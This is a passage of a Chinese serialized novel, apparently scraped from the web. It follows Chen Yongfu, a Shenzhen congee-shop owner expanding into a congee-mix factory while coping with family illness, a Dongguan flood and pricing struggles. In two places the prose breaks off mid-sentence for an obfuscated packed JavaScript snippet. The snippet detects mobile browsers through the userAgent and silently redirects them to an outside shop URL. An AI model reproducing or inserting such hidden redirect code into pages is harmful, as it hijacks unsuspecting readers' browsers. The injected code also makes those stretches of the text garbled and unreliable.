小孙不说话了，但表情写着“多此一举”。陈永福知道，香港来的经理讲究流程、标准，觉得他这套太土。但他坚持。粥是吃进嘴里的东西，不能全靠机器。 中午，他回罗湖店吃饭。林玉兰带着晓梅在店里，吴阿姨回老家几天，她自己照顾孩子。 店里生意照常，中午坐满了人。王建军在前台忙，看见他来，点点头。小周在后厨，跟着刘师傅学熬粥——南山店稳定后，陈永福把小周调到罗湖店培养，刘师傅来带他。 “老板，吃饭。”林玉兰给他盛了碗粥，又端出两个菜：炒青菜，蒸鱼。 “你吃了没？” “吃了。” 陈永福坐下吃。晓梅在婴儿车里，抓着个塑料玩具，咿咿呀呀地叫。孩子八个多月了，会爬，会扶站，就是还不会走。 “上午工厂怎么样？”林玉兰问。 “还行，出了点小问题，包装机卡了一次，修好了。” “你脸色不好，是不是太累了？” “没事。”陈永福扒拉两口饭，“下午我得去趟超市，看咱们的货卖得怎么样。” “建军不能去？” “他下午要去福田店，李经理安排他轮岗。” 林玉兰不说话了，低头收拾碗筷。过了一会儿，她说：“阿福，你是不是管得太多了？工厂有郑先生的人，店里有李经理，你还什么都亲力亲为。” “不亲自看，不放心。” “你这样下去，身体垮了怎么办？”林玉兰看着他，“昨晚你几点回来的？十二点。建国等你等到睡着。” 陈永福心里一紧。他昨晚在工厂调试新设备，确实晚了。 “以后我早点。” “你每次都这么说。”林玉兰抱起晓梅，“我去给晓梅喂奶，你吃完放着，我洗。” 看着妻子的背影，陈永福心里不是滋味。他知道自己忙，顾不上家。但没办法，摊子大了，事多了。 吃完饭，他去超市。罗湖这家超市是新开的，三层楼，东西齐全。家香的粥料摆在粮油区最显眼的位置，红色的包装，一排过去，挺壮观。 他站在货架边看。有个中年妇女走过来，拿起一□□蛋粥料，看了看价格，又放下。拿起白粥料，也放下。最后什么都没买，走了。 陈永福跟上去：“大姐，怎么不买？” 妇女看看他：“太贵了。白粥料三毛，我自己买米煮，一斤米才六毛，能煮好几顿。” “我们这米好，煮得快。” “快是快，可多花钱。”妇女摇摇头，“我们打工的，能省就省。” 陈永福愣在原地。妇女走了，他还站着。 是啊，他怎么忘了这个。工人最在乎的是实惠。三毛钱一包，煮一碗粥。自己买米煮，三毛钱能煮三碗。这个账，工人会算。 他立刻给郑文达打电话。 “郑先生，价格有问题。太贵了，工人买不起。” “贵吗？”郑文达说，“我们成本一毛二，卖三毛，毛利一毛八，不算高。” “对工人来说高。”陈永福说，“他们宁愿自己买米煮。” “那你的意见是？” “降价。白粥料卖两毛，皮蛋粥三毛五，海鲜粥五毛。” “利润就薄了。” “薄利多销。”陈永福说，“郑先生，咱们的市场是工人，不是有钱人。他们买得起，才能卖得多。” 郑文达沉默了一会儿：“行，听你的。但包装要改，小包装，成本降下来。” “好。” 挂了电话，陈永福去福田店找李文杰。李文杰正在培训新员工，看见他来，停下。 “陈老板，有事？” “李经理，粥料价格要调。”陈永福把情况说了。 李文杰听完，点点头：“我同意。但光降价不够，还要推广。很多工人不知道这个东西，知道了也不一定会煮。” “怎么推广？” “搞试吃。”李文杰说，“在超市门口摆个电炉，现场煮，让人尝。好吃了，自然买。” “行，我安排。” “还有，包装上煮法图解要更简单。”李文杰拿起一包样品，“现在的图太复杂，工人文化不高，看不懂。改成三步：1.拆开倒锅里；2.加水；3.煮十分钟。” “好。” 从福田店出来，陈永福觉得心里亮堂了些。李文杰确实有办法，想得细。 他回工厂，召集小孙和几个骨干开会。 “价格要调，包装要改。白粥料降到两毛，量减少，一包煮一碗。皮蛋粥三毛五，海鲜粥五毛。煮法图解简化，三步。另外，搞试吃活动，每个超市派个人，现场煮。” 小孙皱眉：“陈老板，这样成本控制更难了。量减少，包装成本比例上升。试吃活动要人工，要物料。” “该花的要花。”陈永福说，“先把市场打开，量上去了，成本自然下来。” “可是……” “没有可是。”陈永福难得强硬，“按我说的办。” 小孙不说话了，但脸上写着不服。 散会后，陈永福一个人留在会议室。他知道小孙说得对，成本确实会上升。但眼下最重要的不是利润，是市场。市场打开了，什么都好说。 八月，新包装上市。红色袋子，正面印着大大的“家香”，下面一行小字：“十分钟即煮，味道如现熬”。背面是三步煮法图解，简单明了。价格标签换了，白粥料两毛，皮蛋粥三毛五，海鲜粥五毛。 试吃活动也开始了。超市门口支起小桌子，放个电炉，摆几包样品。派去的员工穿着印有“家香粥料”的围裙，现场煮粥，盛在小纸杯里，给路过的人尝。 第一天，效果不明显。很多人以为是推销，绕着走。第二天，有个带孩子的大妈尝了，觉得好，买了两包。第三天，人渐渐多起来。 “这粥真快，十分钟就好？” “味道不错，跟店里差不多。” “两毛一包？便宜，买几包试试。” 一周下来，超市反馈：销量涨了三成。 陈永福松了口气。方向对了。 东莞那边，黄秀英也搞了试吃。她在工业区门口摆摊，工人下班路过，免费尝。效果更好，工人觉得方便，适合宿舍煮。 “老板，这边一个月能卖五千包。”黄秀英在电话里说，“我算了一下，一个工人一个月买十包，我们就能卖十万包。” “别太乐观，慢慢来。” “我知道。”黄秀英说，“老板，我想在广州也试试。” “广州？” “嗯，我有个表姐在广州开小卖部，说可以帮我们卖。我想先拿几百包过去，看看反应。” 陈永福想了想：“行，你安排。但别自己去，派个人去。你现在管两家店，走不开。” “好。” 挂了电话，陈永福想，黄秀英的步子还是比他快。广州，那是省城，市场更大，竞争也更激烈。但试试也好，不成也没损失。 八月中旬，何老板来找他，说想入股粥料厂。 “陈老板，我看你们这生意有搞头。”何老板说，“我投五万，占一成股份，怎么样？” 陈永福算了一下。工厂总投资七十万（郑文达三十万，他二十万，贷款二十万），五万占一成，不亏。 “何老板愿意投，当然好。不过这事得跟郑先生商量。” “郑先生那边我打过招呼了，他同意。” “那就行。” 何老板的加入，让资金压力小了点儿。陈永福用这笔钱买了辆二手货车，专门送货。以前租车，一个月两千，现在自己有车，虽然要保养、要油钱，但长远看划算。 货车买回来的那天，王建军特别兴奋。 “老板，我能不能学开车？” “你学车干嘛？” “以后送货，我就能去。”王建军说，“现在司机老陈一个人，忙不过来。” “你有驾照吗？” “没有，但可以学。”王建军眼睛亮亮的，“培训班老师说，管理者要多技能，才能管好团队。” 陈永福笑了：“行，去学。学费店里出。” “谢谢老板！” 王建军真去学了，每周两个下午，去驾校。他学得认真，教练夸他上手快。一个月后，驾照考下来了。 有了车，有了司机，送货效率高了。深圳五十家超市，一天能送完。东莞那边，每周送两次。广州也开始送，量不大，但开了个头。 生意渐渐上了轨道。八月盘点，粥料卖了十五万包，利润两万五。虽然不如预期，但在增长。 陈永福觉得，可以松口气了。 但他松不了。林玉兰病了。 那天晚上，他回家已经十一点。林玉兰在沙发上睡着了，晓梅在旁边哭。他赶紧抱起孩子，发现林玉兰额头滚烫。 “玉兰？玉兰？” 林玉兰睁开眼，声音虚弱：“你回来了……晓梅哭，我哄不动……” 陈永福心里一紧：“你发烧了？” “不知道，就是没力气。” 他立刻送她去医院。急诊，量体温，三十九度五。医生检查，说是急性乳腺炎，要住院。 “怎么拖到现在才来？”医生责备。 “我……我以为是累了。”林玉兰小声说。 陈永福愧疚得说不出话。妻子病了，他都不知道。 林玉兰住进病房，打点滴。晓梅暂时由吴阿姨照顾——吴阿姨从老家回来了。□□住到张阿姨家，张阿姨热心，说让孩子在她家睡几天。 陈永福白天在医院陪林玉兰，晚上回店里、工厂看看。三天下来，人瘦了一圈。 林玉兰看他这样，说：“你回去吧，我这儿有护士。” “没事，我陪你。” “店里怎么办？工厂怎么办？” “有李经理，有小孙，有建军。” “他们能代替你吗？”林玉兰看着他，“阿福，我知道你担心我，但生意不能停。你去忙，我这儿真没事。” 陈永福犹豫。 “去吧。”林玉兰握握他的手，“我好了就出院，别担心。” 陈永福点点头，走了。但心里放不下，每隔两小时打个电话。 林玉兰住院五天，出院时瘦了些，但精神好了。医生交代，要注意休息，不能太累。 回到家，陈永福对她说：“玉兰，以后店里的事你别管了，专心照顾孩子。” “那我做什么？” “你想做什么就做什么。”陈永福说，“养花，看书，带孩子去公园。就是别累着。” 林玉兰笑了：“我哪有那么娇气。” “不是娇气，是应该的。”陈永福认真地说，“这些年，你跟着我吃苦，没享过福。现在条件好了，该歇歇了。” 林玉兰眼圈红了：“阿福……” “听话。” 林玉兰点点头，靠在他肩上。 晓梅爬过来，抱着他的腿，仰着小脸笑。□□放学回来，看见妈妈好了，高兴得直跳。 那一刻，陈永福觉得，什么生意，什么工厂，都不如这个家重要。 但他知道，他停不下来。这个家要养，员工要养，工厂要运转。他得像上紧的发条，一直转。 九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380751|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月初，深圳刮台风。风大雨大，商场提前关门。工厂也停工，工人放假。 陈永福难得在家待了一整天。陪晓梅玩，辅导□□作业，跟林玉兰说话。像普通家庭一样，平淡，温暖。 下午，风小了点，雨还在下。陈永福站在阳台看雨，手机响了。 是黄秀英，声音急：“老板，东莞发大水了！” “什么？” “常平这边下暴雨，河水涨了，淹了工业区。”黄秀英说，“我的店进水了，一米多深，东西全泡了。” 陈永福心里一沉：“人没事吧？” “人没事，员工都撤了。但店……店完了。”黄秀英声音带着哭腔，“老板，我对不起你……” “别说傻话，人没事就好。”陈永福说，“你在哪儿？安全吗？” “我在表姐家，安全。” “在那儿待着，别乱跑。我明天过去。” 挂了电话，陈永福跟林玉兰说了。林玉兰也着急：“秀英那孩子，一个人在东莞，不容易。” “我明天去看看。” “路上小心。” 第二天，雨停了，但路还淹着。陈永福坐火车去东莞，慢车，晃了两个小时。到常平，出站一看，街上都是水，浑浊的，漂着垃圾。车开不了，他蹚水走。 黄秀英的两家店都在低洼处，水还没退，门口堆着沙袋，里面黑漆漆的。黄秀英站在一家店门口，挽着裤腿，浑身是泥。 “老板……”看见他，她眼泪掉下来。 “别哭，先看看。” 两人进店。水退了些，但还有半尺深。桌椅泡坏了，冰箱倒了，灶台全是泥。墙上的水印有一米多高。 “损失多少？”陈永福问。 “两家店，光设备就两万多。”黄秀英抹抹眼泪，“还有存货，米、肉、调料，全泡了。至少三万。” 陈永福心里算了算。三万，不是小数，但还能承受。 “人没事就好。”他说，“店能重开。” “老板，我……”黄秀英低下头，“我是不是太急了？要是听你的，不开第二家店，损失就没这么大。” “现在说这个没用。”陈永福拍拍她的肩，“天灾，谁都想不到。重要的是接下来怎么办。” “怎么办？” “清淤，消毒，重新装修。”陈永福说，“钱我出，你负责做。” “老板，我……” “别说了，干活。” 陈永福挽起袖子，开始搬东西。黄秀英也动起来。员工陆续来了，大家一起干。把泡坏的东西搬出去，扫水，铲泥。忙了一天，总算清出个样子。 晚上，陈永福请所有员工吃饭。在附近的小餐馆，点了几个菜。 “大家辛苦了。”他举起杯，“店没了，可以重开。人没事，就还有希望。这个月工资照发，奖金照给。” 员工们眼圈都红了。 “谢谢老板。” “我们一定好好干。” 吃完饭，陈永福和黄秀英在街上走。水退了，留下厚厚的淤泥，踩上去噗嗤噗嗤响。路灯亮了，照在泥泞的街上，昏黄昏黄的。 “老板，我……”黄秀英欲言又止。 “想说什么就说。” “我想去广州。”黄秀英说，“东莞这边，水灾之后，工人可能少了。我想去广州开家店，试试。” 陈永福看着她。这姑娘，刚经历这么大损失，想的不是退缩，是前进。 “不怕再赔？” “怕。”黄秀英老实说，“但更怕错过机会。广州人多，市场大。我想试试。” 陈永福沉默了一会儿。 “行，你去。但先把东莞的店恢复好。广州那边，先小规模试试，别急着开大店。” “好！” “钱我出，算你借的。赚了还我，赔了算我的。” “老板……” “别说了，就这么定。” 黄秀英眼泪又下来了，这次是感动的。 送她回住处，陈永福坐夜车回深圳。车上人少，他靠在座位上，看着窗外黑漆漆的田野。远处有零星的灯光，像星星掉在地上。 他想起了老街，想起了老榕树。那棵树经历多少风雨，依然立着。他的粥铺，也要像那棵树，风雨来了，挺住。风雨过了，继续长。 回到深圳，已经凌晨两点。家里亮着灯，林玉兰在等他。 “怎么还没睡？” “等你。”林玉兰端出热汤，“喝点，暖暖。” 陈永福接过汤，喝了一口。是鸡汤，加了枸杞、红枣，甜丝丝的，暖到心里。 “东莞怎么样？” “店泡了，但人能重开。”陈永福把情况说了。 林玉兰听完，说：“秀英那孩子，真有韧劲。” “是啊。” “你也是。”林玉兰看着他，“阿福，你比以前更稳了。” “是吗？” “嗯。”林玉兰靠在他肩上，“以前你遇到事，会急，会慌。现在不会了，知道怎么处理。” 陈永福想想，好像是。两年多前，三轮车坏了都让他着急。现在店泡了，他还能冷静安排。 时间真能改变人。 “睡吧。”林玉兰说。 “嗯。” 两人上床。陈永福累极了，但睡不着。脑子里过电影一样：泡水的店，泥泞的街，黄秀英的眼泪，员工感激的眼神，还有广州，那个未知的市场。 他知道，前路还长，还有无数风雨。 但他不怕了。 风雨来了，就迎上去。雨停了，就继续走。 这就是生活，这就是深圳，这就是他的路。 窗外，雨又下起来了。淅淅沥沥的，像在说话。 陈永福闭上眼睛，听着雨声，慢慢睡着了。 梦里，他看见老榕树，枝繁叶茂。树下，他的粥铺开着，客人坐满了。黄秀英在东莞，王建军在深圳，李文杰在算账，郑文达在打电话。每个人都在自己的位置上，忙碌，充实。 粥香飘出来，飘得很远，很远。 一直飘到广州，飘到更远的地方。 他笑了。 18. 米芯 八月的最后一天，深圳依旧闷热。 陈永福站在新工厂的实验室里，看着桌上三碗刚煮好的粥。白粥、皮蛋粥、海鲜粥，分别盛在三个白瓷碗里，冒着细细的热气。他拿起勺子，每碗尝了一口。 “皮蛋粥腥味重了。”他说。 技术员小林推了推眼镜：“陈老板，我们按配方来的，皮蛋就是有腥味。” “要压住。”陈永福放下勺子，“加姜粉，量再调调。” “可是姜粉成本……” “成本我不管，味道要对。” 小林不说话了，低头记录。这个年轻人是陈工介绍的，食品专业毕业，做事认真，但太死板，不懂变通。 陈永福走到窗边，看着外面的生产线。机器轰鸣，传送带运转，工人们在各自的岗位上忙碌。这间工厂投产后，他以为可以轻松点，结果更忙了。标准化生产不像熬粥，可以凭感觉。这里要数据，要参数，要检验报告。 有时候他会怀念老街的粥铺，就一口锅，他一个人，米下多少，水加多少，火候多大，全凭手上的感觉。现在，感觉要让位给仪器。 手机响了，是黄秀英。 “老板，广州的店地址选好了，在白云区，靠近服装批发市场。”黄秀英语气兴奋，“这边人流量大，打工的人多。” “租金多少？” “三十平米，月租一百八。” “贵了。” “位置好，值。”黄秀英说，“老板，我想下个月就开业。” 陈永福算了一下时间：“太急了吧？东莞的店才恢复。” “东莞这边小玲能管，我培养她了。”黄秀英说，“老板，你放心，广州这边我亲自盯。” 陈永福知道拦不住她：“行，但前期投入要控制。装修简单点，设备用二手的。” “知道！” 挂了电话，陈永福叹了口气。黄秀英像脱缰的马，越跑越快。是好事，也是隐患。 回到实验室，小林还在调配方。陈永福走过去：“小林，你老家哪儿的？” “湖南。” “来深圳多久了？” “半年。” “习惯吗？” “还行。”小林腼腆地笑笑，“就是热，比湖南热。” “慢慢就习惯了。”陈永福说，“你专业学食品的，以后厂里技术这块，你多费心。” “我会的，陈老板。” 陈永福拍拍他的肩，走了。管理工厂和管理粥铺不一样，要懂技术，要懂流程，还要懂人。他得学，学不会就被淘汰。 九月初，学校开学。□□升三年级了，书包换了新的，是陈永福去香港时买的，双肩包，印着米老鼠。孩子喜欢，每天背着，走路都挺直腰板。 开学第一天，陈永福送他去学校。在校门口，碰见王小军的爸爸，那个在国营厂当科长的男人。 “陈老板，送孩子啊？”王科长递了支烟。 “王科长早。”陈永福接过烟，“您也送孩子？” “是啊。”王科长点着烟，“陈老板生意越做越大了，听说开工厂了？” “小打小闹。” “谦虚了。”王科长吐了口烟，“现在政策好，你们个体户有机会。不像我们厂，效益一年不如一年。” 陈永福听出他话里的意思。国营厂在走下坡路，很多工人工资发不出。他有个老乡在电子厂，说已经三个月没发全工资了。 “王科长单位还好吧？” “勉强维持。”王科长摇摇头，“陈老板，听说你们工厂招人？我们厂有几个工人下岗了，能不能安排？” 陈永福想了想：“我们招技术工，要懂机器的。” “有，有，我们厂有钳工、电工，手艺都不错。” “那让他们来面试吧。” “谢谢陈老板！”王科长很高兴，“改天请你吃饭。” “客气了。” 送完孩子，陈永福去罗湖店。店里已经营业了，王建军在前台，看见他来，点点头。小周在后厨，跟着刘师傅学熬粥，有模有样了。 “老板，上午要送两车货去超市。”王建军说，“司机老陈请假了，他老婆生孩子。” “你送吧，你有驾照。” “行。” 王建军去送货，陈永福在店里转了转。白粥、肉粥、皮蛋粥，卖得都不错。海鲜粥限量，每天三十碗，卖完即止。林玉兰开发的小菜也受欢迎，酸豆角卖得最好，一毛一碟，很多工人要。 中午，王建军回来了，脸晒得通红。 “老板，超市那边说咱们的货摆得太靠里了，要挪到显眼位置，得交五百块‘陈列费’。” “什么费？” “陈列费，就是货架位置费。”王建军说，“超市经理说，好位置都留给交钱的了。” 陈永福皱眉。这又是新花样。以前在老街，他的粥铺就在老榕树下，位置自然好，不用交钱。现在进了超市，规矩多了。 “交吧。”他说，“不交卖不动。” “可是老板，五十家超市，一家五百，就是两万五。” 陈永福心里一沉。两万五，不是小数。 “先交十家，位置最好的。其他的再说。” “行。” 下午，郑文达来电话。 “陈老板，香港的超市愿意进我们的货，但要求包装改一下。” “怎么改？” “要印中英文对照，要有营养成分表。”郑文达说，“香港那边讲究这个。” “行，我让小林设计。” “还有，他们要试订单，一千包。如果卖得好，再下大单。” “好，我安排生产。” 挂了电话，陈永福心里又喜又忧。喜的是进香港市场，忧的是要求多，成本又要增加。 他找来小林，说了香港的要求。小林拿出本子记：“营养成分表要送检，一份报告要三千块。” “这么多？” “正规检测都这个价。” 陈永福咬咬牙：“检吧，该花的要花。” 小林去联系检测机构，陈永福坐在办公室里算账。陈列费、检测费、包装改版费，加起来又是几万。工厂刚上正轨，钱像水一样流出去。 他想起郑文达说的“做大做强”，现在体会到了，大是大了，但压力也大了。 晚上回家，林玉兰做了几个菜：清蒸鱼、炒菜心、西红柿鸡蛋汤。晓梅坐在高脚椅上，自己抓饭吃，弄得满脸都是。 “今天超市要收陈列费。”陈永福边吃边说。 “多少？” “一家五百。” 林玉兰停下筷子：“这么多？” “嗯。” “能不交吗？” “不交不给好位置，卖不动。” 林玉兰不说话了，低头吃饭。过了一会儿，她说：“阿福，咱们是不是摊子铺太大了？” “可能是。”陈永福实话实说，“但收不回来了。工厂开了，货生产了，不卖出去，就堆在仓库。” “我有点怕。” “怕什么？” “怕咱们撑不住。”林玉兰看着他，“阿福，我听说好多做生意的，开始都红火，后来资金链断了，一下就垮了。” 陈永福心里一紧。他也听过这样的故事。深圳每天都有公司开张，每天也都有公司倒闭。 “我会小心的。” 吃完饭，陈永福陪晓梅玩。孩子会叫“爸爸”了，虽然发音不准，但听着心里暖。□□在写作业，遇到不会的题，陈永福过去教。 “阿爸，我们老师今天说，深圳要建儿童公园了。”□□说。 “在哪儿？” “说在莲花山那边。” “那以后带你去。” “好！” 看着孩子们，陈永福想，他不能垮。为了这个家，为了孩子们，他得撑住。 九月中旬，香港的试订单生产好了。一千包粥料，白粥、皮蛋粥、海鲜粥各三百包，另外一百包是新产品——瑶柱粥，郑文达建议加的，说香港人喜欢。 包装印了中英文对照，加了营养成分表。红色袋子，金色字体，看着高档。陈永福亲自检查了每一包，确认没问题，才让发货。 货发走后，他等了三天，没消息。第四天，郑文达来电话。 “陈老板，香港那边说，粥料煮出来米粒太硬，不符合他们的口感。” “怎么会？我们试过很多次了。” “香港人吃粥讲究绵滑，米粒要化开。”郑文达说，“咱们的米粒还成型，他们觉得是夹生。” 陈永福头大了。内地人喜欢米粒分明，香港人喜欢米粒化开，这怎么调？ “那怎么办？” “改工艺，把米处理得更软。”郑文达说，“这批货他们愿意收，但要求打折。一千包，按八折算。” 八折，少赚两千块。但总比退货好。 “行，我同意。” “还有，下次发货前，先寄样品，他们确认了再发。” “好。” 挂了电话，陈永福立刻找小林。小林听了，说：“要米粒化开，就得多蒸一会儿，或者加淀粉。但这样成本会高，保质期会短。” “先试，成本再说。” 小林去试验，陈永福坐在实验室里等。窗外夕阳西下，工厂的机器停了，工人们下班了。安静下来，能听见远处马路上的车声。 他想起了老家的粥。母亲熬的粥，米粒是化开的，稠得像浆。那是用柴火慢慢熬的，要一个多钟头。现在工厂生产，要十分钟煮好，还要米粒化开，难。 小林试了几次，端来一碗粥。陈永福尝了，米粒确实软了，但口感有点糊，不清爽。 “再加点碱试试？”他说。 “加碱？”小林皱眉，“碱会破坏营养。” “一点点，调口感。” 小林又去试。这次好了，米粒软而不糊，稠度适中。但加碱后，味道有点变化，要调整配料比例。 两人忙到晚上九点，终于调出满意的版本。陈永福让小林记录下来，明天小批量生产，寄样品给香港。 回到家，林玉兰还没睡，在等他。 “怎么这么晚？” “调配方，香港那边要求高。”陈永福坐下，累得不想动。 林玉兰端来热水，让他泡脚。 “阿福，要不……咱们别做香港市场了？太麻烦。” “已经开始了，停不下来。”陈永福说，“玉兰，你知道香港一碗粥卖多少钱吗？五块港币。咱们的料包，成本一块，卖两块，还有得赚。这个市场，不能丢。” “可是……” “我知道你担心。”陈永福握住她的手，“但咱们走到这一步了，只能往前。” 林玉兰不说话了，低头给他搓脚。灯光下，陈永福看见她头上有了白头发，一根两根，藏在黑发里，刺眼。 “玉兰，你也有白头发了。” “老了。”林玉兰笑笑，“都三十多了。” “是我让你操心了。” “说这个干嘛。”林玉兰抬起头，“嫁给你，就准备好操心了。” 陈永福鼻子一酸，忍住。 那一夜，他睡得不安稳，梦里全是粥。硬的粥，软的粥，糊的粥，清的粥。他在粥里挣扎，喘不过气。 第二天，样品寄去香港。三天后，回复来了：通过，可以下正式订单。五千包，一个月内交货。 陈永福松了口气。这关过了。 但紧接着，新的问题来了。工厂产能不够。一天一万包，五千包占了一半产能。而深圳、东莞、广州的订单还在增加。 “要扩产。”郑文达说，“再上一条生产线。” “钱呢？”陈永福问。 “我出三十万，你出二十万。”郑文达说，“何老板也愿意再加五万。” 又是二十万。陈永福想起林玉兰的话：摊子铺太大了。 但他没有退路。 “行。” 贷款，凑钱，签合同。新生产线订了，要两个月到货。这两个月，现有生产线要满负荷运转。 工人加班，三班倒。陈永福也跟着加班，晚上睡在工厂，方便随时处理问题。 林玉兰来送饭，看见他眼里的血丝，心疼：“阿福，你这样不行。” “就这两个月，新线上了就好了。” “身体垮了，什么线都没用。” “我知道，我会注意。” 说是注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380752|200163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，但一忙起来就忘了。有天夜里，他在车间晕倒了。工人发现时，他躺在地上，脸色苍白。 送到医院，检查是低血糖加疲劳过度。医生说要住院观察。 林玉兰守在床边，眼泪止不住：“我说什么来着？你不听。” “没事，就是累了。”陈永福虚弱地笑笑。 “住院三天，好好休息。” “三天？工厂怎么办？” “工厂重要还是命重要？”林玉兰生气了，“陈永福，你要是有个三长两短，我和孩子们怎么办？” 陈永福不说话了。 住院的三天，他强迫自己休息。但脑子停不下来，想工厂，想订单，想香港市场，想新生产线。越想越急，越急越想回去。 第三天下午，郑文达来看他。 “陈老板，好好休息，工厂那边我盯着。” “郑先生，新生产线……” “放心，我在跟进。”郑文达说，“陈老板，有句话我不得不说。你现在这样，不行。要把权力下放，让专业的人做专业的事。” “我放不了手。” “放不了也得放。”郑文达严肃地说，“你想想，你要是倒了，工厂怎么办？店怎么办？家人怎么办？” 这话戳中了陈永福的软肋。是啊，他不能倒。 “那我该怎么做？” “提拔人。”郑文达说，“王建军可以管深圳的店，黄秀英可以管东莞和广州，小林可以管工厂技术。你只管大方向，具体的事让他们做。” 陈永福想了想，是这个理。 “我听郑先生的。” 出院后，陈永福开始调整。他提拔王建军为深圳区域经理，管三家店。提拔小林为技术总监，负责工厂生产和研发。黄秀英已经是东莞和广州的负责人，不用再提。 权力下放了，他轻松了些。但习惯难改，有时候还是会忍不住去车间，去店里。王建军和小林也不拦他，但会提醒：“老板，您说好不管具体的。” 陈永福只好退回去。 十月底，新生产线到了。安装，调试，试生产。一切顺利。产能翻了一番，一天两万包。 香港的订单按时完成，深圳、东莞、广州的供应也跟上了。销售额节节攀升。 月底盘点，工厂利润达到了五万。三家店利润两万。总利润七万。 这个数字，让陈永福觉得，所有的累都值了。 但他不敢放松。深圳变化太快，今天好，明天可能就不好。他要居安思危。 十一月初，深圳突然降温。冷空气南下，气温降到十度以下。商场里暖气开得足，但街上冷。 粥铺生意更好了。天冷，都想喝热的。工厂的粥料也卖得好，工人买回去，宿舍煮，暖和。 陈永福站在罗湖店门口，看着街上的行人。他们裹着厚衣服，行色匆匆。有人进店，要碗热粥，坐下喝，脸上露出舒服的表情。 他想，这就是他做粥的意义。让人暖和，让人满足。 手机响了，是黄秀英。 “老板，广州店开业了，生意很好。”她声音里有压抑不住的兴奋，“这边工人多，一天能卖四百碗。” “好，注意控制成本。” “知道。”黄秀英顿了顿，“老板，我想……我想把爸妈接来深圳。” “接来？” “嗯，他们在老家年纪大了，我不放心。我想在深圳租个房子，让他们住。” “应该的。”陈永福说，“钱够吗？不够我借你。” “够，我攒了些。”黄秀英说，“老板，谢谢你。没有你，我现在还在制衣厂踩缝纫机。” “是你自己争气。” 挂了电话，陈永福想，黄秀英在深圳扎下根了。接父母来，是要在这里安家了。像他一样。 他又想起了自己的父母。来深圳三年了，只回去过一次。该接他们来了。 回家跟林玉兰商量。林玉兰赞成：“早该接了。爸妈年纪大，在老家我们不放心。” “那我安排。” “租个大点的房子，四室，咱们住得下。” “好。” 那天晚上，陈永福给老家打电话。是父亲接的。 “阿爸，我是永福。” “永福啊，这么晚打电话，有事？” “阿爸，我想接你和阿妈来深圳住。” 电话那头沉默了一会儿。 “去深圳？我们老了，去那儿干嘛？” “来享福。我这几年生意做好了，能养活你们。深圳暖和，对你们身体好。” “可是老家……” “老家有弟弟妹妹在，不用担心。”陈永福说，“阿爸，让我尽尽孝。” 父亲又沉默了很久。 “我和你妈商量商量。” “好，我等你们消息。” 挂了电话，陈永福站在阳台上，看着深圳的夜景。万家灯火，每一盏灯下都有一个家。很快，他的父母也会在这里，四代同堂。 他想起了老街的老榕树。树移走了，但根还在那里。他的根，也从潮汕移到了深圳，扎下了，开枝散叶了。 风很冷，但他心里暖。 回屋，林玉兰在哄晓梅睡觉。□□在看书，明天要考试。 “爸，你说明天我考得好，有奖励吗？”□□问。 “你想要什么奖励？” “想去动物园，听说深圳动物园有熊猫。” “好，考好了就去。” 孩子高兴了，继续看书。 陈永福坐在沙发上，看着这个家。妻子，孩子，很快还有父母。这就是他奋斗的全部意义。 生意还要做，工厂还要管，路还要走。但有了这个家，他什么都不怕。 夜深了，深圳的灯火一盏盏熄灭。但有些灯还亮着，照着晚归的人，照着这座城市不眠的夜。 陈永福关掉客厅的灯，回卧室。林玉兰已经睡了，呼吸均匀。 他躺下，闭上眼睛。 明天还要早起，但今晚，他想好好睡一觉。 梦里，父母来了，坐在他的粥铺里，喝着他熬的粥，说：“这粥，跟老家一个味。” 他笑了。 是啊，不管走多远，根的味道，忘不了。 19. 家老 电话打完的第三天，弟弟永贵从老家打回来了。 “哥，阿爸阿妈同意了。”永贵的声音透过电话线，带着滋滋的电流声，“但阿妈说要过了年才去，家里要收拾，鸡啊鸭啊要处理。” “行，过了年就过了年。”陈永福握着听筒，“你们也一起来，深圳过年热闹。” “我们走不开。”永贵说，“小芬怀上了，明年四月生，不方便跑远路。” 小芬是永贵的媳妇，去年结的婚。 “那等孩子生了再来。”陈永福说，“到时候哥给你们安排。” “谢谢哥。”永贵顿了顿，“哥，你在深圳真挣大钱了？村里人都说，你在那边开了大工厂。” “没那么夸张，就是个小厂。” “那也是厂啊。”永贵语气里透着羡慕，“哥，咱家就你有出息。” 挂了电话，陈永福心里不是滋味。弟弟在老家种地，一年到头挣不了几个钱。他应该帮衬的，可一直忙，顾不上。 中午吃饭时，他跟林玉兰说了。 “永贵媳妇怀了，明年生。”陈永福说，“我想着，孩子生了，给他们寄点钱。” “应该的。”林玉兰说，“阿福，咱们现在条件好了，该帮衬家里人。” “我知道。”陈永福扒拉两口饭，“玉兰，等爸妈来了，咱们得换个大房子。现在这个住不下。” “看好了？” “罗湖那边有个新小区，四室两厅，月租三百。”陈永福说，“离店里近，离学校也近。” “三百？”林玉兰吓了一跳，“太贵了。” “该花的要花。”陈永福说，“爸妈老了，得住得舒服点。” 林玉兰想了想：“行，听你的。” 吃完饭，陈永福去厂里。新生产线运转正常，车间里机器轰鸣。小林穿着白大褂，在实验室里测样品。看见陈永福来，他放下试管。 “陈老板，香港那批货的反馈来了。”小林递过一份传真纸，“整体满意，但提了个建议：希望能有小包装，适合单身人士。” “小包装？” “对，一包煮一碗的那种。”小林说，“现在的一包煮两碗，单身的人吃不完，放久了不好。” 